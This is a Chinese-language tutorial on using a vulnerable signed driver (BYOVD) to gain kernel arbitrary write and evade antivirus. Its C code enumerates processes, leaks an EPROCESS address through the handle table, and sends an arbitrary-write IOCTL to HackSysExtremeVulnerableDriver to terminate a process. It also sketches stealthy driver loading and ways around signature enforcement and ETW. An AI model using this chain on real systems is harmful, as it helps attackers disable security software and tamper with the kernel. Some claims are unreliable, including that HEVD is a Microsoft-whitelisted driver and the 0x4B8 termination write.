基于 BYOVD 的 Windows 内核态任意写(Arbitrary Write)免杀技术探讨
字数 2164
更新时间 2026-07-12 12:45:05

基于 BYOVD 的 Windows 内核态任意写(Arbitrary Write)免杀技术教学文档

一、背景概述

传统用户态免杀技术(如 DLL 注入、加载器分离、多重加密拼组、DLL 白加黑、加壳、签名等)在面对 Windows 10/11 激进的杀软策略时逐渐失效。杀软引入了大量底层 API Hook,即使代码经过高强度加密,最终在内存中拼凑还原时仍会触发 API 监控点。

因此,需要从更底层——内核态——寻找突破路径。核心思路是绕过 Ring 3 层的 API Hook,直接通过 System Call 进入 Ring 0 层操作内核内存。


二、核心技术原理

2.1 绕过用户态 Hook 的思路

Windows 底层 API 之下存在 System Call(系统调用),即内核方法的入口。程序若能直接发起内核调用,即可绕过用户态杀软的 API Hook 监控。但普通程序不具备随意读写内核内存的权限,且未经微软签名的驱动程序无法被系统加载。

2.2 BYOVD(Bring Your Own Vulnerable Driver)概念

BYOVD 指利用已被微软签名认证但存在漏洞的合法驱动程序,将其加载到系统中,然后通过漏洞接口实现内核态任意内存读写。

核心流程:

  1. 找到一个微软白名单中的漏洞驱动(如 HackSysExtremeVulnerableDriver)
  2. 将驱动加载到目标系统
  3. 通过 DeviceIoControl API 与该驱动通信
  4. 利用驱动中存在的任意写漏洞,向指定内核地址写入任意数据

2.3 漏洞驱动的典型脆弱代码模式

// 直接获取用户态传入的原始结构体指针
PWRITE_WHAT_WHERE pBuf = (PWRITE_WHAT_WHERE)irpStack->Parameters.DeviceIoControl.Type3InputBuffer;

// 直接赋值
ULONG_PTR what = *(pBuf->What);
PULONG_PTR where = pBuf->Where;

// 用 Ring 0 权限向攻击者指定的任意内核地址写入任意数据
*where = what;

上述代码缺乏对用户传入指针的合法性校验,允许攻击者指定任意内核地址进行写入。


三、完整攻击链路分解

3.1 第一步:获取目标进程 PID

使用 Windows API CreateToolhelp32Snapshot 拍摄当前系统进程快照,遍历进程列表匹配目标进程名称,获取其 PID。

DWORD GetProcessIdByPID(const wchar_t* procName) {
    DWORD pid = 0;
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snapshot != INVALID_HANDLE_VALUE) {
        PROCESSENTRY32W entry;
        entry.dwSize = sizeof(entry);  // 微软文档要求必须初始化 dwSize
        if (Process32FirstW(snapshot, &entry)) {
            do {
                if (wcscmp(entry.szExeFile, procName) == 0) {
                    pid = entry.th32ProcessID;
                    break;
                }
            } while (Process32NextW(snapshot, &entry));
        }
        CloseHandle(snapshot);
    }
    return pid;
}

注意事项

  • PROCESSENTRY32W 结构的 dwSize 字段必须在使用前初始化为结构体大小,否则 API 调用会失败。
  • CreateToolhelp32Snapshot 可以捕获当前所有进程的状态快照。

3.2 第二步:获取目标进程的内核 EPROCESS 结构地址

EPROCESS 是 Windows 内核中代表每个进程的结构体,包含进程的所有关键信息。获取该地址是通过句柄表遍历实现的。

3.2.1 打开目标进程句柄

HANDLE hTargetProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);

3.2.2 调用未公开 API NtQuerySystemInformation

使用 NtQuerySystemInformation 查询系统句柄信息表。需要注意:

  • 该 API 未在 MSDN 公开文档中正式列出
  • 需要先查询所需缓冲区大小,再进行二次调用分配足够内存
  • 分两次传参可以减少对主机的异常影响
// 第一次调用获取所需缓冲区大小
NTSTATUS status = NtQuerySystemInformation(
    SystemHandleInformation,
    NULL,
    0,
    &bufferSize
);

// 根据返回大小分配内存
PVOID pHandleInfo = VirtualAlloc(NULL, bufferSize, MEM_COMMIT, PAGE_READWRITE);

// 第二次调用获取实际句柄信息
status = NtQuerySystemInformation(
    SystemHandleInformation,
    pHandleInfo,
    bufferSize,
    NULL
);

3.2.3 遍历句柄表定位目标进程

for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++) {
    if (pHandleInfo->Handles[i].UniqueProcessId == currentPid &&
        (HANDLE)(ULONG_PTR)pHandleInfo->Handles[i].HandleValue == hTargetProc) {
        EprocessAddress = (ULONG_PTR)pHandleInfo->Handles[i].Object;
        break;
    }
}

这里的逻辑是:在当前进程中查找指向目标进程的句柄条目,其 Object 字段即为目标进程的 EPROCESS 内核地址。

3.3 第三步:计算目标内存偏移

不同 Windows 版本中,EPROCESS 结构内部各字段的偏移量不同。例如,控制进程是否被终止的标志位可能位于 0x4B8 偏移处(具体值需根据目标系统版本确定)。

推荐使用 WinDbg 进行调试,可以一次性确定准确的偏移值,避免盲目尝试导致系统崩溃。

PULONG_PTR TargetAddress = (PULONG_PTR)((ULONG_PTR)EprocessAddress + 0x4B8);
ULONG_PTR ValueToWrite = 0x0000000000000000;  // 写入 0 以触发终止

3.4 第四步:通过漏洞驱动执行内核写入

3.4.1 打开设备句柄

HANDLE hDevice = CreateFileA(
    "\\.\\HackSysExtremeVulnerableDriver",
    GENERIC_READ | GENERIC_WRITE,
    0,
    NULL,
    OPEN_EXISTING,
    FILE_ATTRIBUTE_NORMAL,
    NULL
);

3.4.2 构造 IOCTL 请求

定义通信数据结构:

typedef struct _WRITE_WHAT_WHERE {
    PVOID What;   // 要写入的数据指针
    PVOID Where;  // 目标地址指针
} WRITE_WHAT_WHERE;

发送 IOCTL 控制码:

WRITE_WHAT_WHERE POC;
POC.What = (PVOID)&ValueToWrite;
POC.Where = (PVOID)TargetAddress;

DWORD bytesReturned = 0;
BOOL result = DeviceIoControl(
    hDevice,
    HAVE_IOCTL_ARBITRARY_WRITE,  // 驱动定义的任意写控制码
    &POC,
    sizeof(POC),
    NULL,
    0,
    &bytesReturned,
    NULL
);

3.5 第五步:验证结果

若写入成功,目标进程(如记事本)将被强制终止,弹出提示框确认实验成功。


四、关键技术难点与注意事项

4.1 内存分配问题

在申请句柄信息表缓冲区时,若内存分配不足会导致蓝屏。需要通过 NtQuerySystemInformation 先查询所需大小,再精确分配。

4.2 版本兼容性

不同 Windows 版本(Win10 不同 Build、Win11)的 EPROCESS 结构偏移量不同。必须在目标系统上使用 WinDbg 确认具体偏移值,不能硬编码。

4.3 驱动加载方式

实际攻击中需要隐蔽地加载漏洞驱动,涉及更高级的技术:

  • 使用未公开 API 进行隐式加载
  • 绕过驱动签名强制策略
  • 避免被杀软的行为检测引擎捕获

4.4 权限要求

整个过程需要管理员权限才能加载驱动和执行内核操作。


五、扩展方向

本文仅展示 BYOVD 技术的基础应用,更深入的进阶内容包括:

  • 多种隐式驱动加载方法
  • 绕过 ETW(Event Tracing for Windows)监控
  • 结合其他未公开 API 实现更隐蔽的操作
  • 针对不同杀软内核防护机制的差异化绕过策略

六、总结

BYOVD 技术的本质是“借刀杀人”——利用微软自身签名的漏洞驱动,合法地获得内核态任意内存写入能力。该技术绕过了传统的用户态 API Hook 检测体系,是目前对抗主流杀软内核监控的有效手段之一。

掌握此技术需要对 Windows 内核架构、驱动开发、进程管理有深入理解,并具备在不同系统版本上进行偏移调试的能力。

相似文章
相似文章
 全屏